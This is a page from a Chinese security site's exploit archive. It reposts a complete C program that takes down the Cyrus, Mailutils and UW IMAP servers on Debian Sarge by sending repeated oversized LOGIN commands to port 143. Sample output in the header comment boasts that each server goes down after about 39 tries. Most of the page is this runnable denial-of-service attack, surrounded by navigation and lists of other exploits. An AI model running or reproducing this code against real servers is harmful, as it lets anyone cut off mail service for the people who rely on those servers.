首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Debian Sarge Multiple IMAP Server Denial of Service Exploit
来源:http://jbrownsec.blogspot.com 作者:Brown 发布时间:2008-09-23  
/*

Debian Sarge Multiple IMAP Server DoS (debianimapers.c)
Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]

Testing Cyrus IMAPd:

bash$ ./debianimapers 192.168.0.189

.....

39 tries and imapd goes down! Mission Complete!

Testing Mailutil's IMAP4d:

bash$ ./debianimapers 192.168.0.189

.....

38 tries and imapd goes down! Mission Complete!

Testing UW-IMAPd:

bash$ ./debianimapers 192.168.0.189

.....

39 tries and imapd goes down! Mission Complete!

bash$

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define COUNT 100
#define SIZE  100000

char imaplogin[]  = "A0001 LOGIN";

int main(int argc, char *argv[])
{

    char buffer[SIZE], imapped[SIZE+30];
    int i, port = 143;

    memset(buffer, 0x41, sizeof(buffer));
    memset(imapped, 0, sizeof(imapped));

    snprintf(imapped, sizeof(imapped)-1, "%s %s %s\r\n\r\n", imaplogin, buffer, buffer);
   
if(argc < 2)
{

     printf("\nDebian Sarge Multiple IMAP Server DoS");
     printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n");

     printf("\nUsage %s <host>\n\n", argv[0]);

return 0;
}

     printf("\nDebian Sarge Multiple IMAP Server DoS");
     printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n");

     int sock;
     struct sockaddr_in remote;

     remote.sin_family = AF_INET;
     remote.sin_port = htons(port);
     remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("Error: connect(%s:%d)\n", argv[1], port); return -1; }

     close(sock);

     printf("\nUsually takes ~1-2 minutes, LAN/Internet and connection speed will make time vary...\n");

for(i = 0; i <= COUNT; i++)
{

     struct sockaddr_in remote;
     remote.sin_family = AF_INET;
     remote.sin_port = htons(port);
     remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }

sleep(1);

if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\n%d tries and imapd goes down! Mission Complete!\n\n", i); return -1; }

     int len = sizeof(imapped);
     send(sock, imapped, len, 0);
     close(sock);

}

return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sagem Routers F@ST Remote CSRF
·CJ Ultra Plus <= 1.0.4 Cookie
·WSN Links Free 4.0.34P (commen
·iGaming CMS <= 1.5 Multiple Re
·WCMS v.1.0b Arbitrary Add Admi
·Rianxosencabos CMS 0.9 Remote
·PHP iCalendar <= 2.24 (cookie_
·BurnAware NMSDVDXU ActiveX Rem
·Google Chrome Browser Carriage
·Libra PHP File Manager <= 1.18
·foxmail 0day POC
·ICONICS Vessel / Gauge / Switc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved